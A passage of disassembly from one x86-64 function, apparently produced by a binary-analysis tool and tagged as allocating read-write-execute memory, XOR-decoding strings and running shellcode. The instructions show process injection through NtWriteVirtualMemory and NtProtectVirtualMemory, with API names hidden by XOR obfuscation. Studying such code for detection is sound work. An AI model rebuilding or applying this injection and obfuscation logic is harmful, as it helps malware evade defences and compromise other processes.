Function at 0x1800226d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1e8]
sub rsp, 0x2a8
movaps xmmword [rax - 0x58], xmm6
mov r15, r9
mov r13, r8
mov rbx, rdx
xor esi, esi
mov rdi, qword [rcx + 0x18]
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x180023a17
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, rdi
call fcn.180016eb0
mov r12, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x180022787
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18002277d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022778
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov eax, 0xbb9
jmp 0x180023a52
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022798
mov rsi, qword [rbx]
mov rax, qword [0x1803a32b8]
cmp dword [rax + 0x30], 0
je 0x180022822
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x1800227bf
test rdi, 0xffffffffa0000000
je 0x1800227bf
test dil, 3
je 0x1800227d9
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [0x1803a3888]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x10], r14
xor esi, esi
mov qword [rbp - 0x20], rsi
lea rdx, [rbp - 0x40]
lea ecx, [rax + 0xe]
call fcn.180033dc0
mov dword [0x1803a3a00], eax
test eax, eax
sete al
jmp 0x180022843
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
xor esi, esi
test al, al
jne 0x1800228a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call fcn.18001c310
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022896
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022891
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov eax, 0xbba
jmp 0x180023a52
mov r12, rsi
mov qword [rsp + 0x48], rsi
mov rax, qword [0x1803a32b8]
cmp dword [rax + 0x20], 1
jne 0x180023088
mov r13d, 0xbbb
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x60]
call fcn.1800c09d0
nop
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x1f0], rax
cmp rax, qword [rbp - 0x58]
je 0x180022eac
lea r14, [rax + 0x30]
mov r12d, 8
mov r15d, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
lea rdx, [r14 + 0x200]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x180022912
lea rcx, [rbp + 0x30]
call fcn.180008fd0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1800bcff0
nop
movups xmm0, xmmword [0x180182490]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x1801824a0]
mov word [rsp + 0x30], r15w
xor word [rsp + 0x32], 0x34
xor word [rsp + 0x34], 0x35
xor word [rsp + 0x36], 0x36
xor word [rsp + 0x38], 0x37
xor word [rsp + 0x3a], 0x38
xor word [rsp + 0x3c], 0x39
xor word [rsp + 0x3e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022990
lea rcx, [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r15, 7
seta r13b
mov rsi, qword [rsp + 0x58]
cmova rcx, rsi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.180015b90
cmp rax, 0xffffffffffffffff
je 0x180022a10
test r13b, r13b
je 0x180022e60
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022a08
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a8f
mov rcx, rsi
jmp 0x180022e5b
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor r13d, r13d
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [r14 + r8*2], r13w
jne 0x180022a30
mov rdx, r14
lea rcx, [rbp + 0x50]
call fcn.180008fd0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1800bcff0
nop
movups xmm3, xmmword [str.XQGXRT_n_b]
movups xmmword [rbp + 0x10], xmm3
movsd xmm0, qword [0x1801824b8]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x1801824c0]
mov word [rbp + 0x28], ax
mov ecx, r13d
mov r9d, dword [reloc.WS2_32.dll_accept]
cmp r9d, 2
jl 0x180022b67
movdqa xmm4, xmmword [0x180186600]
movdqa xmm2, xmmword [0x180186340]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1801864a0]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x180186380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1801864a0]
movq xmm0, qword [rbp + 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x18], xmm2
mov ecx, r12d
movsxd rax, ecx
lea r8, [rbp + 0x10]
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x31
movzx eax, cx
sub ax, dx
add ax, 0x33
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xd
jl 0x180022b80
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022bc0
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x70]
mov r15, qword [rbp + 0x88]
cmp r15, 7
cmova r8, rsi
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x180022de2
lea rcx, [rbp + 0x10]
test rdx, rdx
je 0x180022c19
lea rax, [rbp + 0x10]
sub r8, rax
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x180022de2
add rcx, 2
sub rdx, 1
jne 0x180022c01
movsd xmm0, qword [0x180182480]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180182488]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x18018248c]
mov byte [rsp + 0x3c], al
xor r10d, r10d
mov r8d, r10d
cmp r9d, 2
jl 0x180022d45
movdqa xmm4, xmmword [0x180186600]
movdqa xmm2, xmmword [0x180186340]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [0x180182480]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180186380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180022d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r10
mov qword [rbp + 0x48], r10
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r10b
jne 0x180022da0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.1800091f0
mov r14, qword [rbp + 0x1f0]
lea rdx, [r14 + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1800c23e0
test eax, eax
je 0x180022f00
mov r12d, eax
add r12, qword [r14 + 0x18]
jmp 0x180022f0b
cmp r15, 7
jbe 0x180022e1e
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022e15
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a89
mov rcx, rsi
call fcn.1800d95dc
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022e60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a8f
call fcn.1800d95dc
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rax, qword [rbp + 0x1f0]
add rax, 0x438
mov qword [rbp + 0x1f0], rax
add r14, 0x438
cmp rax, qword [rbp - 0x58]
jne 0x1800228ef
mov r13d, 0xbbb
mov r12, qword [rsp + 0x48]
mov r15, qword [rbp + 0x208]
lea rcx, [rbp - 0x60]
call fcn.1800156d0
test r13d, r13d
je 0x180022fa3
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022ef8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022ef3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov eax, r13d
jmp 0x180023a52
mov r13d, 0xbbc
mov r12, qword [rsp + 0x48]
cmp r15, 7
jbe 0x180022f47
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022f3e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a89
mov rcx, rsi
call fcn.1800d95dc
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022f89
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022f84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a8f
call fcn.1800d95dc
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
jmp 0x180022ea5
mov r13, qword [rbp + 0x200]
mov r8, qword [rsp + 0x78]
mov rdx, r12
mov rcx, rdi
call fcn.180015a30
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, rdi
call fcn.18001c310
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022fec
mov rsi, qword [rbx]
test r14, r14
je 0x18002344d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.18010b740
mov byte [rbp + 0xec], 1
lea rax, [r14 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rsi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x180023080
cmp rcx, rsi
je 0x18002344d
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x180023067
sub rcx, rsi
jmp 0x180023454
movsd xmm0, qword [0x1801824c8]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x1801824d0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1801824d4]
mov byte [rsp + 0x54], al
mov r12d, 8
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1800231c4
movdqa xmm4, xmmword [0x180186600]
movdqa xmm2, xmmword [0x180186340]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1801824c8]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x180186380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, r12d
xor r14d, r14d
jmp 0x1800231ca
xor r14d, r14d
mov r8d, r14d
mov eax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800231e0
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
jne 0x180023276
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18002325d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023258
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbb
jmp 0x180023a61
movsd xmm0, qword [0x180182480]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180182488]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x18018248c]
mov byte [rsp + 0x3c], al
cmp esi, 2
jl 0x1800233a0
movdqa xmm4, xmmword [0x180186600]
movdqa xmm2, xmmword [0x180186340]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x180182480]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180186380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180186390]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801864b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x1800233a3
mov r12d, r14d
mov eax, r12d
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x5397829d
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r12b
sub al, cl
add al, 0x33
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xd
jl 0x1800233b0
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x180022faa
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023434
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18002342f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbc
jmp 0x180023a61
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, r14
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
cmp r14, rcx
jb 0x180023a95
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180023485
mov rax, qword [rbx]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x80]
call fcn.1800091f0
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x1f0], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
seta r9b
cmova r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x70]
add rcx, r8
lea rax, [rbp - 0x80]
test r9b, r9b
cmovne rax, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
cmp rax, rcx
jne 0x180023500
mov qword [rbp - 0x50], r12
mov eax, 7
mov qword [rbp - 0x48], rax
mov word [rbp - 0x60], r12w
jmp 0x180023516
sub rcx, rax
mov r9, rcx
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.180018890
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x60]
cmp rax, 7
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180023540
lea rcx, [rsp + 0x58]
call fcn.180008fd0
nop
mov rax, qword [0x1803a32b8]
cmp dword [rax + 0x30], 0
setne r9b
mov esi, dword [rax + 0x20]
cmp esi, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, rdi
call fcn.1800390b0
test rax, rax
jne 0x180023597
mov rsi, r12
jmp 0x1800235ae
mov rcx, rax
cmp esi, 2
je 0x1800235a4
mov esi, dword [rax + 0x18]
jmp 0x1800235a8
mov rsi, qword [rax + 0x30]
call fcn.1800e59b8
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1800235f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800235eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a9b
call fcn.1800d95dc
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180023644
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002363f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023aa1
call fcn.1800d95dc
test rsi, rsi
jne 0x180023700
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r14
cmp rax, 0x1388
jbe 0x1800234b3
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18002369d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023698
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a7d
call fcn.1800d95dc
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1800236e7
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1800236e2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbd
jmp 0x180023a61
test r13, r13
je 0x18002397f
test r15, r15
je 0x18002397f
mov qword [rsp + 0x78], rsi
mov dword [rbp + 0x1f0], r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea r14, [rax + 0x2710]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
ja 0x1800238e1
nop word [rax + rax]
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [0x1803a32b8]
cmp dword [rax + 0x30], 0
je 0x180023804
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x1800237d4
test rdi, 0xffffffffa0000000
je 0x1800237d4
test dil, 3
jne 0x1800237d4
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 4], r12
mov dword [rbp + 4], r12d
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
lea rax, [rsp + 0x48]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0x40
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x40]
mov ecx, listen
call fcn.180033dc0
mov dword [0x1803a3a00], eax
jmp 0x180023829
mov rax, qword [0x1803a38a8]
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call rax
mov dword [0x1803a3a00], eax
jmp 0x180023829
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rsi, qword [rsp + 0x78]
mov rax, qword [0x1803a32b8]
cmp dword [rax + 0x30], 0
je 0x1800238ae
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x180023855
test rdi, 0xffffffffa0000000
je 0x180023855
test dil, 3
je 0x18002386c
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [0x1803a3888]
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x10], r15
mov qword [rbp - 0x20], r12
lea rdx, [rbp - 0x40]
mov ecx, recv
call fcn.180033dc0
mov dword [0x1803a3a00], eax
jmp 0x1800238c5
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x18002397f
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
jbe 0x180023740
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18002391c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023917
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023aa7
call fcn.1800d95dc
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023966
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023961
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023aad
mov rcx, r8
call fcn.1800d95dc
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbe
jmp 0x180023a61
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800239ba
inc rdx
